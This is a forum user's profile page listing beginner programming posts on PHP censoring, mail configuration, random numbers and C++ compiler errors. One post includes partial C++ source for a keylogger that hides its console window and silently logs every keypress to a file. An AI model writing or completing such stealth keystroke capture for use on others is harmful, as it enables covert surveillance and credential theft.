Jump to content

Fruitpastles

Active Members
  • Posts

    23
  • Joined

  • Last visited

Recent Profile Visitors

1,564 profile views

Fruitpastles's Achievements

Newbie

Newbie (1/14)

  1. I was going for the Acer Aspire One up to about a week ago, when I switched to the EEE PC 1000H, which santa will be picking up for £300 and delivering on Christmas Morning :). http://crave.cnet.co.uk/laptops/0,39029450,49297248,00.htm <- pretty good reviews IMO.
  2. Hai thar Shannon Morse :P. Thanks for signing :).
  3. Mine came yesterday :D. If you look closely on the envelope, under the "your" in "Trust your Technolust!" I believe you can see a genuine fingerprint of one of the cast! owow :o.
  4. Here's a few functions I threw together that might improve it a little. &lt;?php //LENGTHANDWRAP - cuts length, wraps and builds content function LengthAndWrap( $name, $message ) { //SETTINGS define("MESSAGE_MAX_LENGTH", 150); define("MAX_WRAP_LENGTH", 18); //BUILD STRING $string = $name . ": " . $message; //TRIM LENGTH $string = substr( $string, 0, MESSAGE_MAX_LENGTH ); //WRAP $string = wordwrap($string, MAX_WRAP_LENGTH, "&lt;br /&gt;", true); //RETURN return $string; } //CENSOR INPUT - removes bad parts of string function CensorInput( $input ) { //======================================================// // Reads text file in the format: FIND:REPLACEWITH; // Example: // fuck:sunshinedust; // dick:willy; // pussy:lady area; // balls:face; //======================================================// //SETTINGS define("WORD_FILE", "words.txt"); //bad word file //GET LIST OF WORDS $handle = fopen( WORD_FILE, "r" ); $string = fread($handle, filesize( WORD_FILE )); fclose($handle); //REMOVE WHIE SPACE $string = str_replace("\r\n", "", $string);//remove CRLF $string = trim( $string ); //trim other whitespace //PREP FOR LOOP $total = substr_count( $string, "="); //count number of word replacements $curr = 0; $end = 0; //PARSE CENSOR FILE while ($curr != $total)//while the current divider is not the same as the total dividers { //GRAB WORD TO REPLACE $start = ($end!=0?$end+1:0); //set to 0 if its the start of the file else +1 $end = strpos($string, "=", $start); $bad = substr( $string, $start, $end-$start ); //GRAB REPLACEMENT $start = $end + 1; $end = strpos($string, ";", $start); $good = substr( $string, $start, $end-$start); //UPDATE ARRAYS $replacements[] = $good; $WordsOfTheDevil[] = $bad; //MOVE ALONG STRING $curr++; } //CENSOR $input = str_ireplace( $WordsOfTheDevil, $replacements, $input ); //replace, with, in return $input; } ?&gt;
  5. You could use str_ireplace(). It's the same but case in-sensitive, only available in PHP5 though. LOL! I almlost want it to happen now :D.
  6. EDIT: I carried on with the googling and eventually found a good tutorial that helped me set up a local mail server. I'm pretty annoyed at how easy it was =P. Anyway, if anybody else is having problems check out this tutorial: http://www.phpeasystep.com/phptu/23.html ================================================================= Hi, I'm trying to configure PHP Mail. I'm using WAMP, and so have complete control over the PHP settings. I've changed the PHP.ini file to read: CODE [mail function] ; For Win32 only. SMTP = smtp.googlemail.com smtp_port = 465 ; For Win32 only. sendmail_from = fruitpastles@gmail.com ; For Unix only. You may supply arguments as well (default: "sendmail -t -i"). ;sendmail_path = ; Force the addition of the specified parameters to be passed as extra parameters ; to the sendmail binary. These parameters will always replace the value of ; the 5th parameter to mail(), even in safe mode. ;mail.force_extra_parameters = But I get the following error (well warning): QUOTE [22-Mar-2008 14:56:41] PHP Warning: mail() [<a href='function.mail'>function.mail</a>]: Failed to connect to mailserver at "smtp.googlemail.com" port 465, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in C:wampwwwtestmail.php on line 9 Some googling tells me that it's probably because Gmail's SMTP server requires authentication. I though of using Hotmail, but apparently that's purely HTTP, and I can't use my ISP Email address because I don't remember the password. Can anybody help me out, or point me int he right direction? I'd rather not use any 3rd party classes or anything like that. Thanks in advance.
  7. Thanks so much for your help! However: Linking with CW32i.LIB resolved "Error: Unresolved external'___CPPdebugHook' referenced from.......", but I'm still getting "Error: Unresolved external'__System__GetTls' referenced from.....". I tried every Library that I got with the Compiler, and have done an excessive amount of googling (even resorted to Yahoo :-() to no avail.
  8. Sorry for the late reply. Thanks for trying to help but it still returns an error (the first one in the pic) in Dev-C++.
  9. Hey I'm having a few problems with my compiler. I'm using Borland C++BuilderX 1.0.0.1786, and when I compile the following code, I get the errors below: #include &lt;windows.h&gt; #include &lt;fstream.h&gt; using namespace std; ofstream log; int main(){ ShowWindow(GetConsoleWindow(), SW_HIDE); //hide console log.open("log.dat", ios::app); //open log file - append while(1){ //infinite loop for(int keyCode=0;keyCode&lt;255;keyCode++){ //loop through key codes if(GetAsyncKeyState(keyCode)==-32767){ //get key code if(keyCode == 65){ log&lt;&lt; "A"; } else if(keyCode == 66){ log&lt;&lt; "B"; } else if(keyCode == 67){ log&lt;&lt; "C"; } .............etc } Sleep(1); } return 0; } When I compile with Dev-C++ 4 I get errors with "ShowWindow(GetConsoleWindow(), SW_HIDE);": Other then that it works fine in Dev-C++. I moved "ofstream log;" into the main function (Borland version), but as soon as It had compiled, it crashed with the "Program Not Responding" error message. I've done tonnes of Googling and found nothing helpful. I'd really appreciate any help at all, thanks in advance.
  10. Hi, I'm trying to get this script to work. It is supposed to fill an array with 6 different random numbers, but for some reason it fills it with the same number, despite me recalling the function to generate the numbers. &lt;?php function random(){ //function to generate random number srand(time()); $random = (rand()%6)+1; return $random; } for($i=1;$i&lt;7;$i++){ //fill '$code' array, with '$random' $code[$i] = random(); } for($i=1;$i&lt;7;$i++){ //output array - debug echo($code[$i]); echo("&lt;br&gt;"); } ?&gt; Any help is greatly appreciated :D
  11. It's not likely to be just down the road from me so I won't be able to come anyway, well without my mum having the police looking for me :P. Ahh well I'll just wait a couple of years until the next one.
  12. This isn't a serious suggestion :P, but.... http://www.youtube.com/watch?v=Eny3z-EDpfo
  13. Thanks for explaining, I understand a little more now. The cin.get(); after the switch statement was already there, but when i tested it it closed after it returned the new value, so I never got to see the new value.
  14. Thanks Cooper & psychoaliendog. Thanks for cleaning my code up, but i don't quite understand what "0xdf" does? (I googled it but it came up with nothing, and there wasn't anything about it in ym book) I also put the "cin.get();"s you took out, back in, as without them the console always closes. I realized my mistake with the formulas yesterday and fixed them using parenthesis thanks for pointing it out anyway.
×
×
  • Create New...